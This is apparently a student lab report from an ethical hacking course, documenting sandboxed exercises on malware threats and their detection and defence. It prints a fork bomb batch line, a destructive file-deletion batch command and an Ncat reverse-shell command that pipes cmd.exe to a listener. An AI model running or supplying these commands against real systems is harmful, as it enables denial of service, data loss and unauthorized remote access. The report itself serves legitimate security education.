

MALWARE THREATS LAB REPORT

BACKGROUND	
Course:	CIS 170 - Hands-On Ethical Hacking and Network Defense
Term:	Spring 2026
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Submission Platform:	Canvas
Report Date:	2026-01-06
Report Version:	1.1
Lab Title:	Malware Threats
Module Reference:	Malware Threats
Lab Type:	Live Virtual Machine Lab
Date Completed:	2026-01-06
Time Spent:	Approximately 1 hour
ENVIRONMENT	
Platforms and Systems:	
- Primary environment: Practice Labs / Live Virtual Machine Labs controlled sandbox. - Primary systems available in the topology: PLABDC01 (Windows Server 2019 - Domain Server), PLABDM01 (Windows Server 2019 - Domain Member), PLABWIN10 (Windows 10 - Workstation), and PLABKALI01 (Kali Linux 2019.2 - Linux Kali Workstation). - The work in this module centered primarily on PLABWIN10 for fork bombs, port detection, and tracking, with PLABDM01 used as the victim during port redirection and PLABDC01 present in the domain setup. - Remote access to the virtual machines was provided through the course platform.	
Context and Constraints:	
- The work performed in this environment covered malware concepts including viruses, worms, trojans, keyloggers, spyware, backdoors, and ransomware, with hands-on demos of fork bombs, open port detection, TCPView, Nmap installation, Ncat, and port redirection. - The platform documentation noted that the exercises are based on deprecated software and may not function as intended; these modules are no longer supported or maintained. - Windows Updates were disabled in the provided environment, making this a legacy-style training scenario rather than a modern hardened baseline - some update-related steps were treated as guided walkthroughs. - The module aligned with exam objective 1.1 (Network and Communication Technologies), emphasizing practical hands-on aspects like detecting trojans via ports and simulating backdoor redirection.	
Authorization and Scope:	
- All documented activity took place only inside approved academic systems and isolated practice-lab sandboxes. - No public IP space, real organizations, or unauthorized targets were involved. - No non-lab credentials or real-world data were collected, stored, or reused. - The actions documented here were performed for defensive understanding, malware awareness, and ethical hacking education within the course environment. - Restricted material and lab credentials are omitted or redacted from this report.	
Work Objectives:	
- Create and observe a fork bomb to understand resource-exhausting malware like simple viruses. - Use netstat to detect open ports and connections, relevant to identifying trojans or backdoors. - Track port usage in real-time with TCPView to monitor connection states and changes. - Install Nmap and use Ncat to perform port redirection, simulating backdoor or trojan behavior. - Relate demonstrations to malware propagation methods (e.g., emails, removable media) and defensive considerations.	

TECHNICAL ANALYSIS

Exercise 1 - Fork Bomb Creation and Execution (Simple Virus Demo):

- Connected to PLABWIN10 and opened Task Manager via right-click on the taskbar, expanding to More details and switching to the Performance tab to monitor CPU and memory baseline (initial CPU 6%).
- Searched for Notepad, opened it, and typed the fork bomb code: %0|%0 (recursive self-execution).
- Saved as forkbomb.bat on the desktop with Save as type: All Files.
- Noted the lab's example of a destructive batch (@echo off del c:32.* del c:.*), but did not execute it as it could damage the system - used only as context for malicious batch potential.
- Executed forkbomb.bat by right-clicking and selecting Open; observed recursive cmd.exe windows spawning.
- Encountered errors like cmd.exe - Application Error and Windows Command Processor dialogs; CPU spiked to 100%, memory from 2 GB to 5.5 GB (later 93%), and Out of Memory prompt in background - system hung, requiring reconnect.
- This demo showed how fork bombs (a virus type) exhaust resources without file harm, but can crash systems; relates to trojan types like RATs or backdoors for unauthorized access or spreading.

Exercise 2 - Open Port Detection with Netstat:

- On PLABWIN10, searched for cmd and opened Command Prompt.
- Executed netstat -an to list all active connections and listening ports (TCP/UDP), including local/foreign addresses and states like LISTENING or ESTABLISHED.
- Output allowed scanning for suspicious IPs, backdoor ports, or trojan connections.
- This tool is key for detecting malware that opens ports for data exfiltration or remote control.

Exercise 3 - Real-Time Port Tracking with TCPView:

- On PLABWIN10, opened Internet Explorer via search, navigated to intranet Tools > Hacking Tools, and downloaded TCPView.zip.
- Saved, opened folder, right-clicked to Extract All (default path), then right-clicked tcpview.exe and selected Open.
- Accepted Sysinternals license; TCPView window showed TCP/UDP endpoints with local/remote addresses and states.
- Color codes: green for new connections, red for closing.
- Tested by browsing www.google.com in IE - new entries appeared; closed IE, entries removed, showing real-time updates.
- Superior to netstat for dynamic monitoring of malware-induced connections (e.g., trojans phoning home).

PORT REDIRECTION AND COMMAND REDIRECTION

Nmap and Supporting Component Installation:

- On PLABWIN10 (attacker), opened IE to intranet Tools > nmap, downloaded nmap-5.51-setup.exe, and ran it.
- Followed wizard: Agreed to license, kept default components/location, installed; replaced older WinPcap (clicked Yes), agreed to WinPcap license, kept defaults, finished installation, created shortcuts.
- Repeated exact installation on PLABDM01 (victim) via Run > cmd, as Ncat requires it on both sides.
- Nmap includes Zenmap GUI and Ncat (netcat variant) for port redirection.

Listener Setup and Redirection Workflow:

- On PLABWIN10, opened cmd and executed ncat -v -l -p 8080 (verbose listen on port 8080).
- Allowed access in Windows Security Alert; listener confirmed ready.
- On PLABDM01, opened cmd and executed ncat 192.168.0.3 8080 -e "cmd.exe" (redirect cmd.exe to attacker IP/port).
- Connection established; PLABWIN10 listener gained PLABDM01's shell for remote commands.

Remote Command Validation and Host Control Indicators:

- From PLABWIN10 listener, executed hostname - output showed PLABDM01, confirming remote shell control.
- Executed ipconfig - displayed PLABDM01's network config (e.g., IP details), verifying full remote execution.
- This simulates trojan/backdoor behavior, where payloads (e.g., via email/torrents) redirect shells for unauthorized access, file deletion, or firewall disabling.

Key Commands and Artifacts by System:

PLABWIN10 - Resource Exhaustion / Port Inspection / Listener Host:

```
%0|%0
@echo off del c:32.* del c:.*
netstat -an
TCPView.zip downloaded, extracted, and tcpview.exe launched
nmap-5.51-setup.exe executed with default options and WinPcap replacement
ncat -v -l -p 8080
hostname
ipconfig
```

PLABDM01 - Redirected Host / Remote Shell Source:

```
nmap-5.51-setup.exe and WinPcap installed following identical steps
ncat 192.168.0.3 8080 -e "cmd.exe"
```

Primary Files and Artifacts Observed:

```
forkbomb.bat, TCPView.zip and extracted files, nmap-5.51-setup.exe,
WinPcap installer artifacts, Ncat listener session, redirected cmd.exe output,
and error dialogs.
```

DEFENSIVE MAPPING AND SUMMARY

Technique Summary:

- The completed work covered fork bomb as a virus demo, netstat for port detection, TCPView for tracking, Nmap/Ncat installation, and port redirection for backdoor simulation.
- Recurring theme: Malware (e.g., trojans hidden in software) propagates via free apps, torrents, emails, or media; simple tools/scripts enable resource abuse, unauthorized access, or data exfil.
- Emphasized educational focus on improving security, not malicious use.

MITRE ATT&CK Mapping:

- Impact: T1499 Endpoint Denial of Service (fork bomb exhaustion).
- Discovery: T1049 System Network Connections Discovery (netstat/TCPView).
- Execution: T1059 Command and Scripting Interpreter (batch/Ncat cmd.exe).
- Command and Control: T1572 Protocol Tunneling / T1090 Proxy (port redirection as backdoor).
- Initial Access: T1189 Drive-by Compromise (simulated via payload delivery methods like emails).

Detection Opportunities:

- Fork bomb: CPU/memory spikes, mass cmd.exe processes, errors (e.g., Application Error, Out of Memory).
- Ports: Unexpected LISTENING in netstat, green/red changes in TCPView for suspicious connections.
- Redirection: Ncat process creation, unusual port 8080 traffic, remote shell commands in logs.
- Data sources: Process monitoring, network flows, event logs, EDR for anomalous scripting/networking.

Defensive Controls:

- Execution prevention: App control, least privilege to block untrusted batches/Ncat.
- Resource monitoring: Alerts on high CPU/memory, process limits to mitigate forks.
- Network: Firewalls block unusual ports, IDS for redirection patterns, egress filtering.
- Software: Patch deprecated tools, enable updates, scan for malware propagation vectors.
- Awareness: Train on avoiding free/cracked software, malicious attachments.

Completion Verification:

- All exercises completed: Fork bomb effects observed, netstat/TCPView outputs reviewed, Nmap installed on both systems, Ncat redirection succeeded with remote commands.
- Evidenced by resource spikes, connection lists, listener setup, and remote hostname/ipconfig results.

Key Findings:

- 1) Fork bombs show viruses can deny service via recursion without direct harm.
- 2) Netstat detects trojan ports; combine with TCPView for real-time insights.
- 3) Ncat redirection enables backdoors - monitor for unauthorized shell traffic.
- 4) Deprecated software increases risks; updates/firewalls are critical defenses.
- 5) Malware propagates easily; awareness + monitoring interrupts chains.
- 6) Ethical demos highlight detection points like errors and anomalies.

Issues / Deviations / Notes:

- The most operationally significant behavior in the module was the fork bomb's ability to degrade host responsiveness through rapid recursive process creation.
- Port visibility was more meaningful when multiple tools were compared, with netstat providing a point-in-time view and TCPView exposing live session turnover.
- Successful command redirection depended on correct listener configuration, matching network parameters, and functional Ncat support on both systems involved.

Reflection:

- This lab bridged malware theory (e.g., trojan types) to practice, emphasizing detection over exploitation.
- Takeaway: Simple commands create big impacts; defenses focus on visibility and prevention.
- Supports ethical hacking by showing how to spot/respond to threats in controlled setups.